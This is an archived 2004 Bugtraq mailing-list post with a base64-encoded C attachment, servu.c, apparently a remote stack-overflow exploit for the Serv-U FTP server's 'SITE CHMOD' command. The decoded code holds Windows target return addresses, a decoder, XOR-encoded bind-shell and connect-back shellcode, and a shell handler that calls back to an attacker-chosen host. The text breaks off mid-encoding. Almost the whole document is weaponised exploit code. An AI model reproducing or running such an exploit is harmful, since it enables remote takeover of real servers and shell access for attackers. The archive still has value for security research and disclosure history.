[33355] in bugtraq
[HUC] Serv-U FTPD 3.x/4.x "SITE CHMOD" Command remote exploit V2.0
daemon@ATHENA.MIT.EDU (lion)
Tue Feb 3 03:35:53 2004
Message-ID: <20040202110252.17610.qmail@mail.securityfocus.com>
Date: Mon, 2 Feb 2004 19:29:20 +0800
From: "lion" <lion@cnhonker.net>
To: "bugtraq" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="=====001_Dragon148377224344_====="
--=====001_Dragon148377224344_=====
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: base64
LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogU2VydnUuYyAtIFNlcnYtVSBGVFBEIDMueC80Lngg
IlNJVEUgQ0hNT0QiIENvbW1hbmQNCiogUmVtb3RlIHN0YWNrIGJ1ZmZlciBvdmVyZmxvdyBleHBs
b2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwNCBIVUMgQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCioN
CiogQXV0aG9yICAgOiBsaW9uDQoqICAgICAgICAgIDogbGlvbkBjbmhvbmtlci5uZXQNCiogICAg
ICAgICAgOiBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KKiBEYXRlICAgICA6IDIwMDQtMDEtMjUN
CiogVXBkYXRlICAgOiAyMDA0LTAyLTAxIHYyLjAgQ2hhbmdlIGRlY29kZSBhbmQgdGFyZ2V0LCBj
YW4gYXR0YWNrIHdpbmRvd3MgWFAgbm93Lg0KKiAgICAgICAgICA6IDIwMDQtMDEtMjUgdjEuMCBD
YW4gYXR0YWNrIFNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExDQoqIFRlc3RlZCAgIDogV2luZG93
cyAyMDAwIFNlcnZlciBFTi9HQg0KKiAgICAgICAgICA6CSArIFNlcnYtVSB2My4wLjAuMjB+djQu
MS4wLjExDQoqICAgICAgICAgIDogV2luZG93cyBYUCBHQg0KKiAgICAgICAgICA6ICAgICArIFNl
cnYtVSA0LngNCiogTm90aWNlICAgOiAqKiogQnVnIGZpbmQgYnkga2txcSBra3FxQDB4NTU3Lm9y
ZyAqKioNCiogICAgICAgICAgOiAqKiogWW91IG5lZWQgYSB2YWxpZCBhY2NvdW50IGFuZCBhIHdy
aXRhYmxlIGRpcmVjdG9yeS4gKioqDQoqIENvbXBsaWUgIDogY2wgU2VydnUuYw0KKiBVc2FnZQkg
ICA6IFNlcnZ1IDwtaSBpcD4gPC10IHR5cGU+IFstdSB1c2VyXSBbLXAgcGFzc10gWy1kIGRpcl0g
Wy1mIGZ0cHBvcnRdIFstYyBjYmhvc3RdIFstcyBzaGVsbHBvcnRdDQoqLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
DQoqLw0KDQqhoaGhoaGhoaGhoaGhoaGhbGlvbg0KoaGhoaGhoaGhoaGhoaGhoWxpb25AY25ob25r
ZXIubmV0DQqhoaGhoaGhoaGhoaGhoaGhoaGhoTIwMDQtMDItMDINCg==
--=====001_Dragon148377224344_=====
Content-Type: application/octet-stream;
name="servu.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="servu.c"
LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogU2VydnUuYyAtIFNlcnYtVSBGVFBEIDMueC80Lngg
IlNJVEUgQ0hNT0QiIENvbW1hbmQNCiogUmVtb3RlIHN0YWNrIGJ1ZmZlciBvdmVyZmxvdyBleHBs
b2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwNCBIVUMgQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCioN
CiogQXV0aG9yICAgOiBsaW9uDQoqICAgICAgICAgIDogbGlvbkBjbmhvbmtlci5uZXQNCiogICAg
ICAgICAgOiBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KKiBEYXRlICAgICA6IDIwMDQtMDEtMjUN
CiogVXBkYXRlICAgOiAyMDA0LTAyLTAxIHYyLjAgQ2hhbmdlIGRlY29kZSBhbmQgdGFyZ2V0LCBj
YW4gYXR0YWNrIHdpbmRvd3MgWFAgbm93Lg0KKiAgICAgICAgICA6IDIwMDQtMDEtMjUgdjEuMCBD
YW4gYXR0YWNrIFNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExDQoqIFRlc3RlZCAgIDogV2luZG93
cyAyMDAwIFNlcnZlciBFTi9HQg0KKiAgICAgICAgICA6CSArIFNlcnYtVSB2My4wLjAuMjB+djQu
MS4wLjExDQoqICAgICAgICAgIDogV2luZG93cyBYUCBHQg0KKiAgICAgICAgICA6ICAgICArIFNl
cnYtVSA0LngNCiogTm90aWNlICAgOiAqKiogQnVnIGZpbmQgYnkga2txcSBra3FxQDB4NTU3Lm9y
ZyAqKioNCiogICAgICAgICAgOiAqKiogWW91IG5lZWQgYSB2YWxpZCBhY2NvdW50IGFuZCBhIHdy
aXRhYmxlIGRpcmVjdG9yeS4gKioqDQoqIENvbXBsaWUgIDogY2wgU2VydnUuYw0KKiBVc2FnZQkg
ICA6IFNlcnZ1IDwtaSBpcD4gPC10IHR5cGU+IFstdSB1c2VyXSBbLXAgcGFzc10gWy1kIGRpcl0g
Wy1mIGZ0cHBvcnRdIFstYyBjYmhvc3RdIFstcyBzaGVsbHBvcnRdDQoqLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
DQoqLw0KDQojaW5jbHVkZSA8d2luc29jazIuaD4NCiNpbmNsdWRlIDx3aW5kb3dzLmg+DQojaW5j
bHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCg0KI3ByYWdtYSBjb21tZW50KGxp
YiwgIndzMl8zMiIpDQoNCi8vIGZvciBiaW5kIHNoZWxsY29kZQ0KI2RlZmluZSBCSU5EX09GRlNF
VAkJOTENCg0KLy8gZm9yIGNvbm5lY3RiYWNrIHNoZWxsY29kZQ0KI2RlZmluZSBQT1JUX09GRlNF
VAkJOTUNCiNkZWZpbmUgSVBfT0ZGU0VUCQk4OA0KDQojZGVmaW5lIFNFSF9PRkZTRVQJCTB4MTkz
CS8vdjMuMC4wLjIwfnY0LjEuMC4xMQ0KLy8jZGVmaW5lCVNFSF9PRkZTRVQJCTB4MTMzICAgICAg
ICAgICAJLy8gd29yayBvbiB2My4wLjAuMTZ+djMuMC4wLjE5LCBmb3IgY29ubmVjdGJhY2sgc2hl
bGxjb2RlDQojZGVmaW5lIE1BWF9MRU4JCQkyMDQ4DQojZGVmaW5lIEpNUF9PVkVSCQkiXHhlYlx4
MDZceGViXHgwNiINCiNkZWZpbmUJVkVSU0lPTgkJCSIyLjAiDQoNCnN0cnVjdA0Kew0KCURXT1JE
CWR3Sk1QOw0KCWNoYXIJKnN6RGVzY3JpcHRpb247DQp9dGFyZ2V0c1tdID0NCnsNCgl7MHg3ODAx
RDA3QiwiU2Vydi1VIHYzLjAuMC4yMH52NC4xLjAuMTEgIEFMTCAgMksgICAgIFNQMy9TUDQifSwJ
Ly9tc3ZjcnQuZGxsIHBvcCxwb3AscmV0IGFkZHIJDQoJezB4NzdjMjJjYTcsIlNlcnYtVSB2My4w
LjAuMjB+djQuMS4wLjExICBBTEwgIFhQICAgICBTUDEifSwJCS8vbXN2Y3J0LmRsbCBwb3AscG9w
LHJldCBhZGRyICAgIA0KCXsweDdmZmExNTcxLCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMSAg
R0IgICAySy9YUCAgQUxMIn0sCQkvL3BvcCxwb3AscmV0IGFkZHIgZm9yIGFsbCBHQiB3aW4yMDAw
IGFuZCB3aW54cA0KCXsweDdmZmE0YTFiLCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMSAgR0Ig
ICAySyAgICAgQUxMIn0sCQkvL2ptcCBlYnggYWRkciBmb3IgYWxsIEdCIHdpbjIwMDAgYW5kIHdp
bnhwDQovLwl7MHg3NEZENjlBOSwiU2Vydi1VIHYzLjAuMC4yMH52NC4xLjAuMTEgIEdCICAgMksg
ICAgIFNQMy9TUDQifSwJLy93c29jazMyLmRsbCBqbXAgZWJ4IGFkZHINCi8vCXsweDcxYTQ2OWFk
LCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMSAgR0IgICBYUCAgICAgU1AwL1NQMSJ9LAkvL3dz
b2NrMzIuZGxsIGptcCBlYnggYWRkcg0KCXsweDdmZmEyMTg2LCJTZXJ2LVUgdjMuMC4wLjIwfnY0
LjEuMC4xMSAgQkcgICAySyAgICAgQUxMIn0sCQkvL2ptcCBlYnggYWRkciBmb3IgYWxsIEJHIHdp
bjIwMDAgYW5kIHdpbnhwCQ0KLy8JezB4NmRlYzY3MTMsIlNlcnYtVSB2My4wLjAuMjB+djQuMS4w
LjExICBCRyAgIDJLICAgICBTUDQifSwJCS8vc2V0dXBhcGkuZGxsIGptcCBlYnggYWRkcg0KCXsw
eDZERUU2NzEzLCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMSAgS1IgICAySyAgICAgU1A0In0s
CQkvL3NldHVwYXBpLmRsbCBqbXAgZWJ4IGFkZHINCgl7MHg3Nzg4NjcxMywiU2Vydi1VIHYzLjAu
MC4yMH52NC4xLjAuMTEgIEVOICAgMksgICAgIFNQNCJ9LAkJLy9zZXR1cGFwaS5kbGwgam1wIGVi
eCBhZGRyDQoJezB4NzZiNDJhM2EsIlNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExICBFTiAgIFhQ
ICAgICBTUDEifSwNCi8vCXsweDEyMzQ1Njc4LCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMSJ9
LCAgICAgICAgIA0KfSx2Ow0KDQoNCg0KdW5zaWduZWQgY2hhcgkqc3pTZW5kWzRdOw0KdW5zaWdu
ZWQgY2hhcglzekNvbW1hbmRbTUFYX0xFTl07DQp1bnNpZ25lZCBjaGFyCXN6RGlyZWN0b3J5WzB4
MTAwXTsNCg0KLy8gMzUgYnl0ZXMgZGVjb2RlIGJ5IGxpb24sIGRvbid0IGNoYW5nZSB0aGlzLg0K
dW5zaWduZWQgY2hhciBkZWNvZGVbXT0NCiJceDVFXHg1Rlx4NUJceEJFXHg2RFx4NjlceDZGXHg2
RVx4NEVceEJGXHg2RFx4NjlceDMwXHg2RVx4NEZceDQzIg0KIlx4MzlceDNCXHg3NVx4RkJceDRC
XHg4MFx4MzNceDkzXHgzOVx4NzNceEZDXHg3NVx4RjdceEZGXHhEMyI7DQoNCi8vIFNoZWxsY29k
ZSBzdGFydCBzaWduLCB1c2UgZm9yIGRlY29kZSwgZG9uJ3QgY2hhbmdlIHRoaXMuDQp1bnNpZ25l
ZCBjaGFyIHNjX3N0YXJ0W109DQoibGlvbiI7IA0KDQovLyBTaGVsbGNvZGUgZW5kIHNpZ24sIHVz
ZSBmb3IgZGVjb2RlLCBkb24ndCBjaGFuZ2UgdGhpcy4NCnVuc2lnbmVkIGNoYXIgc2NfZW5kW109
DQoibGkwbiI7IA0KDQovLyAzMTEgYnl0ZXMgYmluZCBzaGVsbGNvZGUgYnkgbGlvbiAoeG9yIHdp
dGggMHg5MykNCnVuc2lnbmVkIGNoYXIgc2NbXT0NCiJceDdBXHg5Nlx4OTJceDkzXHg5M1x4Q0Nc
eEY3XHgzMlx4QTNceDkzXHg5M1x4OTNceDE4XHhEM1x4OUZceDE4Ig0KIlx4RTNceDhGXHgzRVx4
MThceEZCXHg5Qlx4MThceDY0XHhGOVx4OTdceENBXHg3Qlx4MzZceDkzXHg5M1x4OTMiDQoiXHg3
MVx4NkFceEZCXHhBMFx4QTFceDkzXHg5M1x4RkJceEU0XHhFMFx4QTFceENDXHhDN1x4NkNceDg1
XHgxOCINCiJceDdCXHhGOVx4OTVceENBXHg3Qlx4MUZceDkzXHg5M1x4OTNceDcxXHg2QVx4MTJc
eDdGXHgwM1x4OTJceDkzIg0KIlx4OTNceEM3XHhGQlx4OTJceDkyXHg5M1x4OTNceDZDXHhDNVx4
ODNceEMzXHhDM1x4QzNceEMzXHhGOVx4OTIiDQoiXHhGOVx4OTFceDZDXHhDNVx4ODdceDE4XHg0
Qlx4NTRceDk0XHg5MVx4OTNceDkzXHhBNlx4QTBceDUzXHgxQSINCiJceEQ0XHg5N1x4RjlceDgz
XHhDNFx4QzBceDZDXHhDNVx4OEJceEY5XHg5Mlx4QzBceDZDXHhDNVx4OEZceEMzIg0KIlx4QzNc
eEMwXHg2Q1x4QzVceEIzXHgxOFx4NEJceEEwXHg1M1x4RkJceEYwXHhGRVx4RjdceDkzXHgxQVx4
RjUiDQoiXHhBM1x4MTBceDdGXHhDN1x4MThceDZGXHhGOVx4ODdceENBXHgxQVx4OTdceDFDXHg3
MVx4NjhceDU1XHhENCINCiJceDgzXHhEN1x4NkRceEQ0XHhBRlx4NkRceEQ0XHhBRVx4MUFceEND
XHhEQlx4MUFceENDXHhERlx4MUFceENDIg0KIlx4QzNceDFFXHhEN1x4QjdceDgzXHhDNFx4QzNc
eEMyXHhDMlx4QzJceEY5XHg5Mlx4QzJceEMyXHg2Q1x4RTUiDQoiXHhBM1x4QzJceDZDXHhDNVx4
OTdceDE4XHg1Rlx4RjlceDZDXHg2Q1x4QTJceDZDXHhDNVx4OUJceEMwXHg2QyINCiJceEM1XHhC
N1x4NkNceEM1XHg5Rlx4QzJceEM1XHgxOFx4RTZceEFGXHgxOFx4RTdceEJEXHhFQlx4OTBceDY2
Ig0KIlx4QzVceDE4XHhFNVx4QjNceDkwXHg2Nlx4QTBceDVBXHhEQVx4RDJceDNFXHg5MFx4NTZc
eEEwXHg0OFx4OUMiDQoiXHgyRFx4ODNceEE5XHg0NVx4RTdceDlCXHg1Mlx4NThceDlFXHg5MFx4
NDlceEQzXHg3OFx4NjJceEE4XHg4QyINCiJceEU2XHg3NFx4Q0RceDE4XHhDRFx4QjdceDkwXHg0
RVx4RjVceDE4XHg5Rlx4RDhceDE4XHhDRFx4OEZceDkwIg0KIlx4NEVceDE4XHg5N1x4MThceDkw
XHg1Nlx4MzhceENEXHhDQVx4NTBceDdCXHg2NVx4NkRceDZDXHg2Q1x4MUQiDQoiXHhERFx4OURc
eDdGXHhFMVx4NkRceDIwXHg4NVx4M0VceDRBXHg5Nlx4NURceEVEXHg0Qlx4NzFceEUwXHg1OCIN
CiJceDdFXHg2Rlx4QThceDRBXHg5QVx4NjZceDNFXHgzN1x4ODlceEUzXHg1NFx4MzdceDNFXHhC
RFx4N0FceDc2Ig0KIlx4REFceDE1XHhEQVx4NzRceEVBXHg1NVx4RUEiOw0KDQovLyAyOTQgYnl0
ZXMgY29ubmVjdGJhY2sgc2hlbGxjb2RlIGJ5IGxpb24gKHhvciB3aXRoIDB4OTMpDQp1bnNpZ25l
ZCBjaGFyIGNic2NbXT0NCiJceDdBXHg2Rlx4OTNceDkzXHg5M1x4Q0NceEY3XHgzMlx4QTNceDkz
XHg5M1x4OTNceDE4XHhEM1x4OUZceDE4Ig0KIlx4RTNceDhGXHgzRVx4MThceEZCXHg5Qlx4MThc
eDY0XHhGOVx4OTdceENBXHg3Qlx4MEZceDkzXHg5M1x4OTMiDQoiXHg3MVx4NkFceEZCXHhBMFx4
QTFceDkzXHg5M1x4RkJceEU0XHhFMFx4QTFceENDXHhDN1x4NkNceDg1XHgxOCINCiJceDdCXHhG
OVx4OTdceENBXHg3Qlx4MTBceDkzXHg5M1x4OTNceDcxXHg2QVx4MTJceDdGXHgwM1x4OTJceDkz
Ig0KIlx4OTNceEM3XHhGQlx4OTJceDkyXHg5M1x4OTNceDZDXHhDNVx4ODNceEMzXHhDM1x4QzNc
eEMzXHhGOVx4OTIiDQoiXHhGOVx4OTFceDZDXHhDNVx4ODdceDE4XHg0Qlx4RkJceEVDXHg5M1x4
OTNceDkyXHhGQlx4OTFceDkzXHg5MyINCiJceEE2XHgxOFx4NUZceEY5XHg4M1x4QzJceEMwXHg2
Q1x4QzVceDhCXHgxNlx4NTNceEU2XHhEOFx4QTBceDUzIg0KIlx4RkJceEYwXHhGRVx4RjdceDkz
XHgxQVx4RjVceEEzXHgxMFx4N0ZceEM3XHgxOFx4NkZceEY5XHg4M1x4Q0EiDQoiXHgxQVx4OTdc
eDFDXHg3MVx4NjhceDU1XHhENFx4ODNceEQ3XHg2RFx4RDRceEFGXHg2RFx4RDRceEFFXHgxQSIN
CiJceENDXHhEQlx4MUFceENDXHhERlx4MUFceENDXHhDM1x4MUVceEQ3XHhCN1x4ODNceEM0XHhD
M1x4QzJceEMyIg0KIlx4QzJceEY5XHg5Mlx4QzJceEMyXHg2Q1x4RTVceEEzXHhDMlx4NkNceEM1
XHg5N1x4MThceDVGXHhGOVx4NkMiDQoiXHg2Q1x4QTJceDZDXHhDNVx4OUJceEMwXHg2Q1x4QzVc
eDhGXHg2Q1x4QzVceDlGXHhDMlx4QzVceDE4XHhFNiINCiJceEFGXHgxOFx4RTdceEJEXHhFQlx4
OTBceDY2XHhDNVx4MThceEU1XHhCM1x4OTBceDY2XHhBMFx4NUFceERBIg0KIlx4RDJceDNFXHg5
MFx4NTZceEEwXHg0OFx4OUNceDJEXHg4M1x4QTlceDQ1XHhFN1x4OUJceDUyXHg1OFx4OUUiDQoi
XHg5MFx4NDlceEQzXHg3OFx4NjJceEE4XHg4Q1x4RTZceDc0XHhDRFx4MThceENEXHhCN1x4OTBc
eDRFXHhGNSINCiJceDE4XHg5Rlx4RDhceDE4XHhDRFx4OEZceDkwXHg0RVx4MThceDk3XHgxOFx4
OTBceDU2XHgzOFx4Q0RceENBIg0KIlx4NTBceDdCXHg2Q1x4NkRceDZDXHg2Q1x4MURceEREXHg5
RFx4N0ZceEUxXHg2RFx4MjBceDg1XHgzRVx4NEEiDQoiXHg5Nlx4NURceEVEXHg0Qlx4NzFceEUw
XHg1OFx4N0VceDZGXHhBOFx4NEFceDlBXHg2Nlx4M0VceDdGXHg2QSINCiJceDM5XHhGM1x4NzRc
eEVBXHg1NVx4RUEiOw0KDQp2b2lkIHVzYWdlKGNoYXIgKnApDQp7DQoJaW50CWk7DQoJcHJpbnRm
KCAiVXNhZ2U6XHQlc1x0PC1pIGlwPiA8LXQgdHlwZT5cbiINCgkJIlx0XHRbLXUgdXNlcl0gWy1w
IHBhc3NdIFstZCBkaXJdXG4iDQoJCSJcdFx0Wy1mIGZ0cHBvcnRdIFstYyBjYmhvc3RdIFstcyBz
aGVsbHBvcnRdXG5cbiINCgkJIlt0eXBlXTpcbiIgLCBwKTsJDQoJZm9yKGk9MDtpPHNpemVvZih0
YXJnZXRzKS9zaXplb2Yodik7aSsrKQ0KCXsNCgkJcHJpbnRmKCJcdCVkXHQweCV4XHQlc1xuIiwg
aSwgdGFyZ2V0c1tpXS5kd0pNUCwgdGFyZ2V0c1tpXS5zekRlc2NyaXB0aW9uKTsNCgl9DQp9DQoN
Ci8qIHJpcHBlZCBmcm9tIFRFU08gY29kZSBhbmQgbW9kaWZlZCBieSBleTRzIGZvciB3aW4zMiAq
Lw0Kdm9pZCBzaGVsbCAoaW50IHNvY2spDQp7DQoJaW50ICAgICBsOw0KCWNoYXIgICAgYnVmWzUx
Ml07DQoJc3RydWN0CXRpbWV2YWwgdGltZTsNCgl1bnNpZ25lZCBsb25nCXVsWzJdOw0KDQoJdGlt
ZS50dl9zZWMgPSAxOw0KCXRpbWUudHZfdXNlYyA9IDA7DQoNCgl3aGlsZSAoMSkNCgl7DQoJCXVs
WzBdID0gMTsNCgkJdWxbMV0gPSBzb2NrOw0KDQoJCWwgPSBzZWxlY3QgKDAsIChmZF9zZXQgKikm
dWwsIE5VTEwsIE5VTEwsICZ0aW1lKTsNCgkJaWYobCA9PSAxKQ0KCQl7DQoJCQlsID0gcmVjdiAo
c29jaywgYnVmLCBzaXplb2YgKGJ1ZiksIDApOw0KCQkJaWYgKGwgPD0gMCkNCgkJCXsNCgkJCQlw
cmludGYgKCJbLV0gQ29ubmVjdGlvbiBjbG9zZWQuXG4iKTsNCgkJCQlyZXR1cm47DQoJCQl9DQoJ
CQlsID0gd3JpdGUgKDEsIGJ1ZiwgbCk7DQoJCQlpZiAobCA8PSAwKQ0KCQkJew0KCQkJCXByaW50
ZiAoIlstXSBDb25uZWN0aW9uIGNsb3NlZC5cbiIpOw0KCQkJCXJldHVybjsNCgkJCX0NCgkJfQ0K
CQllbHNlDQoJCXsNCgkJCWwgPSByZWFkICgwLCBidWYsIHNpemVvZiAoYnVmKSk7DQoJCQlpZiAo
bCA8PSAwKQ0KCQkJew0KCQkJCXByaW50ZigiWy1dIENvbm5lY3Rpb24gY2xvc2VkLlxuIik7DQoJ
CQkJcmV0dXJuOw0KCQkJfQ0KCQkJbCA9IHNlbmQoc29jaywgYnVmLCBsLCAwKTsNCgkJCWlmIChs
IDw9IDApDQoJCQl7DQoJCQkJcHJpbnRmKCJbLV0gQ29ubmVjdGlvbiBjbG9zZWQuXG4iKTsNCgkJ
CQlyZXR1cm47DQoJCQl9DQoJCX0NCgl9DQp9DQoNCnZvaWQgbWFpbihpbnQgYXJnYywgY2hhciAq
KmFyZ3YpDQp7DQoJc3RydWN0CXNvY2thZGRyX2luIHNhLCBzZXJ2ZXIsIGNsaWVudDsNCglXU0FE
QVRBCXdzZDsNCglTT0NLRVQJcywgczIsIHMzOw0KCWludAlpRXJyLCByZXQsIGxlbjsNCgljaGFy
CXN6UmVjdkJ1ZmZbTUFYX0xFTl07DQoJaW50CWksIGosIGlUeXBlOw0KCWludAlpUG9ydD0yMTsN
CgljaGFyCSppcD1OVUxMLCAqcFVzZXI9ImZ0cCIsICpwUGFzcz0iZnRwQGZ0cC5jb20iLCAqY2JI
b3N0PU5VTEw7DQoJY2hhcgl1c2VyWzEyOF0sIHBhc3NbMTI4XTsNCglCT09MCWJDYj1GQUxTRSwg
YkxvY2FsPVRSVUU7DQoJdW5zaWduZWQgc2hvcnQJc2hwb3J0PTUzLCBzaHBvcnQyPTA7DQoJdW5z
aWduZWQgbG9uZwljYmlwOw0KCXVuc2lnbmVkIGludAl0aW1lb3V0PTUwMDAsIFJldXNlOw0KCWNo
YXIJcGVuZXRyYXRlWzI1NV0sY2JIb3N0MlsyMF07DQoJaW50IHNlaF9vZmZzZXQ7DQoJDQoJcHJp
bnRmKCAiU2Vydi1VIEZUUEQgMy54LzQueCBcIlNJVEUgQ0hNT0RcIiByZW1vdGUgb3ZlcmZsb3cg
ZXhwbG9pdCBWJXNcclxuIg0KCQkiQnVnIGZpbmQgYnkga2txcSBra3FxQDB4NTU3Lm9yZywgQ29k
ZSBieSBsaW9uIChsaW9uQGNuaG9ua2VyLm5ldClcclxuIg0KCQkiV2VsY29tZSB0byBIVUMgd2Vi
c2l0ZSBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbVxyXG5cbiINCgkJIAksIFZFUlNJT04pOw0KDQoJ
c2VoX29mZnNldCA9IFNFSF9PRkZTRVQ7DQoJDQoJaWYoYXJnYyA8IDQpDQoJew0KCQl1c2FnZShh
cmd2WzBdKTsNCgkJcmV0dXJuOw0KCX0NCg0KCWZvcihpPTE7aTxhcmdjO2krPTIpDQoJew0KCQlp
ZihzdHJsZW4oYXJndltpXSkgIT0gMikNCgkJew0KCQkJdXNhZ2UoYXJndlswXSk7DQoJCQlyZXR1
cm47DQoJCX0NCgkJLy8gY2hlY2sgcGFyYW1ldGVyDQoJCWlmKGkgPT0gYXJnYy0xKQ0KCQl7DQoJ
CQl1c2FnZShhcmd2WzBdKTsNCgkJCXJldHVybjsNCgkJfQ0KCQlzd2l0Y2goYXJndltpXVsxXSkN
CgkJew0KCQkJY2FzZSAnaSc6DQoJCQkJaXA9YXJndltpKzFdOw0KCQkJCWJyZWFrOw0KCQkJY2Fz
ZSAndCc6DQoJCQkJaVR5cGUgPSBhdG9pKGFyZ3ZbaSsxXSk7DQoJCQkJYnJlYWs7DQoJCQljYXNl
ICdmJzoNCgkJCQlpUG9ydD1hdG9pKGFyZ3ZbaSsxXSk7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdw
JzoNCgkJCQlwUGFzcyA9IGFyZ3ZbaSsxXTsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ3UnOg0KCQkJ
CXBVc2VyPWFyZ3ZbaSsxXTsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ2MnOg0KCQkJCWNiSG9zdD1h
cmd2W2krMV07DQoJCQkJYkNiPVRSVUU7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdzJzoNCgkJCQlz
aHBvcnQ9YXRvaShhcmd2W2krMV0pOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZCc6DQoJCQkJaWYo
YXJndltpKzFdWzBdICE9ICcvJykNCgkJCQkJc3RyY3B5KHN6RGlyZWN0b3J5LCAiLyIpOw0KCQkJ
CXN0cm5jYXQoc3pEaXJlY3RvcnksIGFyZ3ZbaSsxXSwgc2l6ZW9mKHN6RGlyZWN0b3J5KS0weDIw
KTsNCgkJCQkNCgkJCQlpZihzekRpcmVjdG9yeVtzdHJsZW4oc3pEaXJlY3RvcnkpLTFdICE9ICcv
JykNCgkJCQkJc3RyY2F0KHN6RGlyZWN0b3J5LCAiLyIpOw0KCQkJCQkNCgkJCQkvLyBjb3JyZWN0
IHRoZSBkaXJlY3RvcnkgbGVuDQoJCQkJZm9yKGo9MDtqPChzdHJsZW4oc3pEaXJlY3RvcnkpLTEp
JTg7aisrKQ0KCQkJCQlzdHJjYXQoc3pEaXJlY3RvcnksICJ4Iik7DQoJCQkJCQ0KCQkJCS8vcHJp
bnRmKCIlZDolc1xyXG4iLCBzdHJsZW4oc3pEaXJlY3RvcnkpLCBzekRpcmVjdG9yeSk7DQoJCQkJ
c2VoX29mZnNldCA9IHNlaF9vZmZzZXQgLSBzdHJsZW4oc3pEaXJlY3RvcnkpKzE7DQoJCQkJYnJl
YWs7DQoJCX0NCgl9DQoNCglpZigoIWlwKSB8fCAoIXVzZXIpIHx8ICghcGFzcykpDQoJew0KCQl1
c2FnZShhcmd2WzBdKTsNCgkJcHJpbnRmKCJbLV0gSW52YWxpZCBwYXJhbWV0ZXIuXG4iKTsNCgkJ
cmV0dXJuOw0KCX0NCg0KCWlmKCAoaVR5cGU8MCkgfHwgKGlUeXBlPj1zaXplb2YodGFyZ2V0cykv
c2l6ZW9mKHYpKSApDQoJew0KCQl1c2FnZShhcmd2WzBdKTsNCgkJcHJpbnRmKCJbLV0gSW52YWxp
ZCB0eXBlLlxuIik7DQoJCXJldHVybjsNCgl9DQoNCglpZihpUG9ydCA8MCB8fCBpUG9ydCA+NjU1
MzUgfHwgc2hwb3J0IDwwIHx8IHNocG9ydCA+IDY1NTM1KQ0KCXsNCgkJdXNhZ2UoYXJndlswXSk7
DQoJCXByaW50ZigiWy1dIEludmFsaWQgcG9ydC5cbiIpOw0KCQlyZXR1cm47DQoJfQ0KCQ0KCV9z
bnByaW50Zih1c2VyLCBzaXplb2YodXNlciktMSwgIlVTRVIgJXNcclxuIiwgcFVzZXIpOw0KCXVz
ZXJbc2l6ZW9mKHVzZXIpLTFdPSdcMCc7DQoJX3NucHJpbnRmKHBhc3MsIHNpemVvZihwYXNzKS0x
LCAiUEFTUyAlc1xyXG4iLCBwUGFzcyk7DQoJcGFzc1tzaXplb2YocGFzcyktMV09J1wwJzsNCglz
elNlbmRbMF0gPSB1c2VyOwkvL3VzZXINCglzelNlbmRbMV0gPSBwYXNzOwkvL3Bhc3MJDQoJc3pT
ZW5kWzJdID0gcGVuZXRyYXRlOwkvL3BlbnRyYXRlDQoJc3pTZW5kWzNdID0gc3pDb21tYW5kOwkv
L3NoZWxsY29kZQ0KCQ0KCS8vIFBlbmV0cmF0ZSB0aHJvdWdoIHRoZSBmaXJld2FsbC4NCglpZihi
Q2IgJiYgc2hwb3J0ID4gMTAyNCkNCgl7DQoJCXN0cm5jcHkoY2JIb3N0MiwgY2JIb3N0LCAyMCk7
DQoJCWZvcihpPTA7aTxzdHJsZW4oY2JIb3N0KTsgaSsrKQ0KCQl7DQoJCQlpZihjYkhvc3RbaV0g
PT0gJy4nKQ0KCQkJCWNiSG9zdDJbaV0gPSAnLCc7DQoJCX0NCgkJDQoJCXNwcmludGYocGVuZXRy
YXRlLCAiUE9SVCAlcywlZCwlZFxyXG4iLCBjYkhvc3QyLCBzaHBvcnQvMjU2LCBzaHBvcnQlMjU2
KTsNCg0KCQkvL3ByaW50ZigiJXMiLCBwZW5ldHJhdGUpOw0KCX0NCgllbHNlDQoJew0KCQlzcHJp
bnRmKHBlbmV0cmF0ZSwiVFlQRSBJXHJcbiIpOwkJDQoJfQ0KDQoJLy8gZmlsbCB0aGUgInNpdGUg
Y2htb2QiIGNvbW1hbmQNCglzdHJjcHkoc3pDb21tYW5kLCAic2l0ZSBjaG1vZCA3NzcgIik7DQoJ
DQoJLy8gZmlsbCB0aGUgZGlyZWN0b3J5DQoJaWYoc3pEaXJlY3RvcnlbMF0pDQoJCXN0cmNhdChz
ekNvbW1hbmQsIHN6RGlyZWN0b3J5KTsNCg0KCS8vIGZpbGwgdGhlIGVnZw0KCWZvcihpPTA7aTxz
